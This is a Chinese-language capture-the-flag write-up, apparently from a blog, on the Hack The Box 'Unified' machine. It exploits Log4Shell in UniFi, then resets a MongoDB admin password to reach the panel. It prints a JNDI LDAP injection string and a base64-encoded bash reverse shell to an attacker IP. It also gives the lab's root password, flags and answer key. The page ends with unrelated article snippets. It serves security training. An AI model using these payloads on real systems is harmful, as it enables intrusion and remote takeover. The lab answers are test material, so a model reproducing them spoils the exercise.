HTB-Unified(log4j2漏洞、MongoDb替换管理员密码)
前言
- 各位师傅大家好,我是qmx_07,今天给大家讲解Unified靶机
渗透过程
信息搜集
- 服务器开放了SSH服务,HTTP服务
访问网站 验证log4j2漏洞
- 8443端口:UniFi 网络 ,访问查询 是否有Nday漏洞利用
- 可以观察到UniFi的版本号:6.4.54
- 通过搜索引擎查询,该服务拥有CVE-2021-44228 漏洞
- 使用tcpdump工具 监听网卡流量
- 通过修改remember字段
${jndi:ldap://10.10.16.2/o=tomcat}
- 可以看到UniFi服务器 对 本地服务器 发起了请求,确认存在log4j2漏洞
利用log4j2漏洞,反弹会话
- 工具准备:
准备工具:
1.openjdk-11-jdk
sudo apt-get install openjdk-11-jdk -y
2.Maven
sudo apt-get install maven -y
3.编译maven
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package
rogue-jndi:开启本机ldap服务,允许接收其他服务器数据,可执行代码
- 生成反弹命令 进行base64加解密:
echo 'bash -c bash -i >&/dev/tcp/10.10.16.2/4444 0>&1' | base64
使用命令:
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMi80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" --hostname "10.10.16.2"
- 这段代码的意思是 使用之前制作的base64 反弹代码,进行base64解密,bash加载,目标是10.10.16.2
- 同时要监听端口会话,等待反弹
"${jndi:ldap://10.10.16.2:1389/o=tomcat}"
- 通过remember字段 构造命令,反弹会话
script /dev/null -c bash
- 监听端口,稳固会话
通过修改mongoDb数据库 管理员密码,进入网站后台
- 查询unifi 中间件的数据库,一般默认是mongdb数据库
- mongdb默认数据库为ace
- 数据库端口开放在 27117
mongo --port 27117 ace
- 指定端口号,连接mongo数据库
db.admin.find().forEach(printjson);
- 通过这个命令可以枚举用户信息,并且以json格式打印
- 通过hashid工具 分析哈希值使用的加密方式
- 通过mkpasswd 设置哈希编码,构造新密码
db.admin.update({"_id":
ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$0dOBQ6ZeDhxJi9Df$HEFkxcqfmWhHbyt0h4WAAzRNqg9n.19ryJfXy.ZcRkcAWKvjy9IQ42OAjRRafoEXTf5ZqzVByYnIuk9U/a8Py1"}});
- 查找administrator管理员账户id,修改密码 为之前生成的哈希密码,更新成功
- 成功进入后台
通过后台提供的ssh,获取flag
- 账号:root
- 密码:NotACrackablePassword4U2022
- 登录用户
- 用户flag:6ced1a6a89e666c0620cdb10262ba127
- root flag:e50bc93c75b634e4b272d2f771c33681
知识点讲解
- 受影响版本:
Apache Log4j 2.x <= 2.14.1
- 受影响的应用组件:
Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2
- log4j2漏洞原理:
log4j2 框架下的 lookup服务提供了 {}字段解析功能,传进去 的 值会 被 直接解析,JNDI服务会请求 远程服务 来 连接 本地对象,这时候 只用在{}里面调用JNDI服务即可 反弹shell 到指定服务器
- 流量特征:
数据包里面有{jndi: ldap}字段
- 修复:
1.禁止 用户 请求 参数 出现 攻击关键字
>2.禁止 lookup 下载远程文件
3.禁止 log4j2 应用 连接外网
答案
- 1.服务器开放的前四个端口是什么?
22,6789,8080,8443
- 2.8443端口运行服务的标题是什么?
UniFi Network
- 3.中间件版本是多少?
6.4.54
- 4.此CVE编号是多少?
CVE-2021-44228
- 5.JNDI注入使用什么协议?
ldap
- 6.用什么工具来监测网卡,验证是否存在漏洞?
TcpDump
- 7.需要拦截哪个流量端口?
389
- 8.Mongod服务运行在哪个端口?
27117
- 9.UniFi 在Mongod数据库的默认库是什么?
ace
- 10.在Mongod数据库中使用什么命令来枚举用户信息?
db.admin.find()
- 11.在Mongod数据库中使用什么明来来更新数据?
db.admin.update()
- 12.root用户的密码是什么?
NotACrackablePassword4U2022
- 13.用户flag是什么?
6ced1a6a89e666c0620cdb10262ba127
- 14.root flag是什么?
e50bc93c75b634e4b272d2f771c33681
总结
- 我们介绍了log4j2 漏洞 原理、流量特征、修复意见、利用过程 和 Mongod数据库 更换 管理员密码 登录后台,使用hashid 分析哈希值、mkpasswd 来生成密码
相关文章:

HTB-Unified(log4j2漏洞、MongoDb替换管理员密码)
前言 各位师傅大家好,我是qmx_07,今天给大家讲解Unified靶机 渗透过程 信息搜集 服务器开放了SSH服务,HTTP服务 访问网站 验证log4j2漏洞 8443端口:UniFi 网络 ,访问查询 是否有Nday漏洞利用 可以观察到UniFi的版…...
每天五分钟深度学习PyTorch:不同的神经网络层设置不同的学习率
本文重点 我们前面学习了基本网络模型的搭建,获取网络模型的子结构,以及优化器optim,我们发现我们设置优化器的时候,是对整个模型设置的,也就是说整个模型的参数学习率是一样,本节课程我们学习如何给不同的网络层设置不同的学习率。主要还是通过优化器optim来实现的,本…...

【渗透测试】——DVWA靶场搭建
📖 前言:DVWA(Damn Vulnerable Web Application)是一个用于安全漏洞测试的 PHP/MySQL 网络应用,旨在为安全专业人士提供一个合法的环境,以测试他们的技能和工具,同时帮助 Web 开发者更好地理解 …...

国内人工智能产业发展现状及对策研究
一、引言 人工智能作为新时代科技革命和产业变革的核心力量,正深刻改变着全球经济格局。我国政府高度重视人工智能产业发展,将其列为国家战略性新兴产业。在此背景下,本文旨在分析我国人工智能产业发展现状,探讨面临的挑战&#x…...

完整版订单超时自动取消功能
前几天对实习还是继续学习技术产生了抉择,问了一个前辈,他抛给我一个问题,怎么做15分钟订单自动取消,我说然后到时间之后,自动执行这个订单关闭业务,比如把锁了的库存给解开等等操作,然后在数据…...

算法刷题:300. 最长递增子序列、674. 最长连续递增序列、718. 最长重复子数组、1143. 最长公共子序列
300. 最长递增子序列 1.dp定义:dp[i]表示i之前包括i的以nums[i]结尾的最长递增子序列的长度 2.递推公式:if (nums[i] > nums[j]) dp[i] max(dp[i], dp[j] 1); 注意这里不是要dp[i] 与 dp[j] 1进行比较,而是我们要取dp[j] 1的最大值…...

go 笔记
数据结构与 方法(增删改查) 安装goland,注意版本是2024.1.1,不是2024.2.1,软件下载地址也在链接中提供了 ‘go’ 不是内部或外部命令,也不是可运行的程序 或批处理文件。 在 Windows 搜索栏中输入“环境变量”&#…...
路由等保测评
1.身份鉴别 应对登录的用户进行身份标识和鉴别, 身份标识具有唯一性,身份鉴别信息具有复杂度要求并定期更换。 可以使用“ service password-encryption"命令对存储在配置文件中的所有口令和类似数据进行加密, 以避免攻击者通过读取配…...

C# 反射之动态生成dll/exe
这个可能应该属于反射的高级使用范围了,平常在项目中使用的人估计也不是很多。由于使用反射的话会降低性能,比如之前用到的GetValue、SetValue等之类,但是使用这种方式会大大提高效率,在这里我只想说,都直接写IL指令了…...
Rust 所有权 Slices
文章目录 发现宝藏1. Slice 的基础知识1.1 什么是 Slice?1.2 如何创建 Slice? 2. 处理字符串 Slice2.1 字符串的 Slice2.2 字符串的 Unicode 和切片 3. 在函数中使用 Slice3.1 传递 Slice 给函数3.2 可变 Slice 的函数 4. 复杂示例4.1 处理多维数组的 Sl…...
windows 安全与网络管理问题
问题:当编写的脚本或程序运行的时候,可能被windows阻止访问网络甚至被删除 避免被删除 wini 进入设置界面 -> 选择更新与安全 -> 选择windwos defender -> 点击添加排除项,将指定的文件或目录排除,避免被软件删除 允许…...
基于Python实现一个庆祝国庆节的小程序
功能: 添加互动功能:允许用户选择不同的祝福语或者查询不同的国庆节信息。动态背景音乐:播放国庆节相关的背景音乐。增加节日小测验:提供一些关于国庆节的趣味小测验,让用户参与。增强图形用户界面 (GUI):…...
Anaconda 安装与使用教程
Anaconda 安装与使用教程 介绍 Anaconda 是一个用于科学计算的 Python 和 R 的发行版,它包含了众多流行的科学计算、数据分析、机器学习等领域的库。本教程旨在帮助初学者快速上手 Anaconda,并学会如何使用其管理环境以及安装包。 第一步:…...

时序预测SARIMAX模型
1. 项目背景 本文基于kaggle平台相关竞赛项目,具体连接如下: Time Series Forecasting With SARIMAX 基本信息如内容说明、数据集、已提交代码、当前得分排名以及比赛规则等,如图【1】所示,可以认真阅读。 图 1 2. 数据读取 …...

gin集成jaeger中间件实现链路追踪
1. 背景 新业务线带来新项目启动,需要改进原有项目的基础框架和组件能力,以提升后续开发和维护效率。项目搭建主要包括技术选型、框架搭建、基础服务搭建等。这其中就涉及到链路追踪的内容,结合其中的踩坑情况,用一篇文章来说明完…...

前端层面----监控与埋点
前言: 站在产品的视角,经常会问如下几个问题: 产品有没有用户使用 用户用得怎么样 系统会不会经常出现异常 如何更好地满足用户需求服务用户 当站在技术视角时,经常会问如下几个问题: 系统出现异常的频率如何 异常…...
linux Command
linux Command 1. 系统监控命令 1.1 top top [param] top -H -p pid,查看进程pid下面的子线程。-b以处理模式操作-c显示完整的命令行而不只是显示命令名。-d 屏幕刷新间隔时间。-l 忽略失效过程。-s 保密模式。-S 累积模式。-u 【用户名】 指定用户名。-p 【进程…...

uniapp登录页面( 适配:pc、小程序、h5)
<!-- 简洁登录页面 --> <template><view class"login-bg"><image class"img-a" src"https://zhoukaiwen.com/img/loginImg/2.png"></image><image class"img-b" src"https://zhoukaiwen.com/im…...

关于OceanBase 多模一体化的浅析
在当今多元化的业务生态中,各行各业对数据库系统的需求各有侧重。举例来说,金融风控领域对数据库的高效事务处理(TP)和分析处理(AP)能力有着严格要求;游戏行业则更加注重文档数据库的灵活性和性…...
快速git
下载 sudo apt install git配置 $ git config --global user.name "John Doe" $ git config --global user.email johndoeexample.com没有空格可以不加双引号如果~/.ssh没有先创建(下一步用) ssh方式制作密钥 github解释 #以邮箱作为标签…...

C++初阶-list的底层
目录 1.std::list实现的所有代码 2.list的简单介绍 2.1实现list的类 2.2_list_iterator的实现 2.2.1_list_iterator实现的原因和好处 2.2.2_list_iterator实现 2.3_list_node的实现 2.3.1. 避免递归的模板依赖 2.3.2. 内存布局一致性 2.3.3. 类型安全的替代方案 2.3.…...

【WiFi帧结构】
文章目录 帧结构MAC头部管理帧 帧结构 Wi-Fi的帧分为三部分组成:MAC头部frame bodyFCS,其中MAC是固定格式的,frame body是可变长度。 MAC头部有frame control,duration,address1,address2,addre…...
STM32+rt-thread判断是否联网
一、根据NETDEV_FLAG_INTERNET_UP位判断 static bool is_conncected(void) {struct netdev *dev RT_NULL;dev netdev_get_first_by_flags(NETDEV_FLAG_INTERNET_UP);if (dev RT_NULL){printf("wait netdev internet up...");return false;}else{printf("loc…...
FastAPI 教程:从入门到实践
FastAPI 是一个现代、快速(高性能)的 Web 框架,用于构建 API,支持 Python 3.6。它基于标准 Python 类型提示,易于学习且功能强大。以下是一个完整的 FastAPI 入门教程,涵盖从环境搭建到创建并运行一个简单的…...
【磁盘】每天掌握一个Linux命令 - iostat
目录 【磁盘】每天掌握一个Linux命令 - iostat工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景 注意事项 【磁盘】每天掌握一个Linux命令 - iostat 工具概述 iostat(I/O Statistics)是Linux系统下用于监视系统输入输出设备和CPU使…...
spring:实例工厂方法获取bean
spring处理使用静态工厂方法获取bean实例,也可以通过实例工厂方法获取bean实例。 实例工厂方法步骤如下: 定义实例工厂类(Java代码),定义实例工厂(xml),定义调用实例工厂ÿ…...

Spring数据访问模块设计
前面我们已经完成了IoC和web模块的设计,聪明的码友立马就知道了,该到数据访问模块了,要不就这俩玩个6啊,查库势在必行,至此,它来了。 一、核心设计理念 1、痛点在哪 应用离不开数据(数据库、No…...

企业如何增强终端安全?
在数字化转型加速的今天,企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机,到工厂里的物联网设备、智能传感器,这些终端构成了企业与外部世界连接的 “神经末梢”。然而,随着远程办公的常态化和设备接入的爆炸式…...
Device Mapper 机制
Device Mapper 机制详解 Device Mapper(简称 DM)是 Linux 内核中的一套通用块设备映射框架,为 LVM、加密磁盘、RAID 等提供底层支持。本文将详细介绍 Device Mapper 的原理、实现、内核配置、常用工具、操作测试流程,并配以详细的…...

uniapp手机号一键登录保姆级教程(包含前端和后端)
目录 前置条件创建uniapp项目并关联uniClound云空间开启一键登录模块并开通一键登录服务编写云函数并上传部署获取手机号流程(第一种) 前端直接调用云函数获取手机号(第三种)后台调用云函数获取手机号 错误码常见问题 前置条件 手机安装有sim卡手机开启…...